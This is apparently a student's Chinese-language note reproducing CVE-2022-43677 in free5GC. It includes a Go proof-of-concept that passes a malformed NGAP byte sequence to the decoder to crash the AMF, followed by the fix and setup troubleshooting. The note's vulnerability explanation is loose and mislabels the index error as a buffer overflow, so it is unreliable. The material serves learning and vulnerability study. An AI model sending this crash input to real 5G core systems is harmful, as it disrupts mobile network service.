# CVE-2022-43677 漏洞重現
## 環境:
- free5GC Version: v3.2.1-13-ge104d46
- OS: Ubuntu 20.04 Server
- Kernel version: 5.4.0-91-generic
- go version: go1.14.4 linux/amd64
- c compiler version (Option): gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
## 簡介
- 此漏洞是由格式不正確的 NGAP 訊息所引發的漏洞,會在 aper.GetBitString 函數中造成索引範圍錯誤,從而導致 AMF 和 NGAP 解碼器崩潰。
:::spoiler AMF
Access and Mobility Management Function, 負責為用戶存取時提供認證、權限等。

:arrow_up:[圖片連接](https://www.researchgate.net/figure/G-Core-Architecture-B-Multi-Access-Edge-Computing-MEC-Multi-Access-Edge-Computing_fig1_340337250)
[Network functions overview](https://ithelp.ithome.com.tw/articles/10290032)
:::
:::spoiler NGAP
Next Generation Application Protocol, 下一代應用協定,負責和AMF之間的基本溝通流程。
[NGAP簡介](https://ithelp.ithome.com.tw/articles/10295681)
:::
## 崩潰報告
- 崩潰前會有這段訊息:
- 接下來就會是一大串崩潰訊息:
## 漏洞原理
### test.go程式碼
``` go=1
package main
import (
ngap "github.com/free5gc/ngap"
"fmt"
)
func main() {
data := []byte{0x00, 0x28, 0x00, 0x30, 0x00, 0x30, 0x30, 0x00, 0x12, 0x00, 0x20, 0x37, 0x37, 0x00, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30}
_, err := ngap.Decoder(data)
fmt.Println(err)
}
```
- [TLV 資料交換格式](https://ignatius1895.pixnet.net/blog/post/330810389)
- TVL(Type Length Value)
在`test.go`的程式碼中,最主要的一段程式碼
``` go=1
data := []byte{0x00, 0x28, 0x00, 0x30, 0x00, 0x30, 0x30, 0x00, 0x12, 0x00, 0x20, 0x37, 0x37, 0x00, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30}
```
就是使用TLV的正規表達式,表達不正規的東西,以程式碼為例,這段**可能**表達的是整段訊息的總長度為 40 byte
然後當中的`0x00`應該都是T的部分,0x28都是L的部分,其餘都是V
那amf會需要NGAP跟他做溝通,溝通的內容其實就是gNB的UE資訊在接手和換手東西,NGAP需要有正規表達式(TLV),這個漏洞就是看準這個需要正規表達式的原理,將錯誤的格式塞進AMF的功能裡面,讓他執行,導致**buffe overflow**。
## 解決方式
- 更新free5GC到3.2.1以上的任意版本。
## 筆記
- 有額外補充放這...
## 連結
[reference](https://www.trendmicro.com/en_us/research/23/j/asn1-vulnerabilities-in-5g-cores.html)
[漏洞的詳細程式碼](https://github.com/free5gc/free5gc/issues/402)
(雖然他有給程式碼,但我們看不太懂他的運作原理是什麼。)
[Go fuzzing](https://go.dev/doc/security/fuzz/)
(蠻好奇fuzzing的實作的,想試看看。)
[CVEfeed](https://cvefeed.io/vuln/detail/CVE-2022-43677)
[vulert](https://vulert.com/vuln-db/go-github-com-free5gc-free5gc-92971)
(結果來說就是,這個漏洞已經有解了,解決方法就是更新free5GC版本...,但是原版本漏洞尚存。)
## fre5gc故障記錄
### 找不到網卡
``` shell=1
sudo dhclient
```
### UPF ERROR
[維修網址](https://free5gc.org/guide/3-install-free5gc/#c-install-user-plane-function-upf)
原因是GTP5g掛掉,重新編一次就好
1. 先重新下載
``` shell=1
git clone -b v0.9.3 https://github.com/free5gc/gtp5g.git
cd gtp5g
sudo make
make install
```
2. Build the UPF
``` shell=1
cd ~/free5gc
make upf
```
3. 改一下free5gc/config/upfcfg.yaml
主要是改這個部分(透過ip -a查看網卡ip)

4. 再跑一次
``` shell=1
run.sh
```
### 出現\[ERRO\]\[NRF\]\[NFM\]
錯誤訊息完整如下
\[ERRO\]\[NRF\]\[NFM\]SetLocationHeader err: RestfulAPIGetOne err: server selection error: server selection timeout, current topology: { Type: Unknown, Servers: \[{ Addr: localhost:27017, Type: Unknown, Last error: dial tcp 127.0.0.1:27017: connect: connection refused }, \] }
這個時候需要檢查mongodb,查看當下的狀態,下這個指令
``` shell=1
sudo service mongodb status
```
目前都是因為mongod沒有開,然後錯誤訊息會出現這東西
**Failed to start mongod.service: Unit mongod.service not found.**
接下來就只需要把mongod的東西打開就好
``` shell=1
sudo service mongod start
```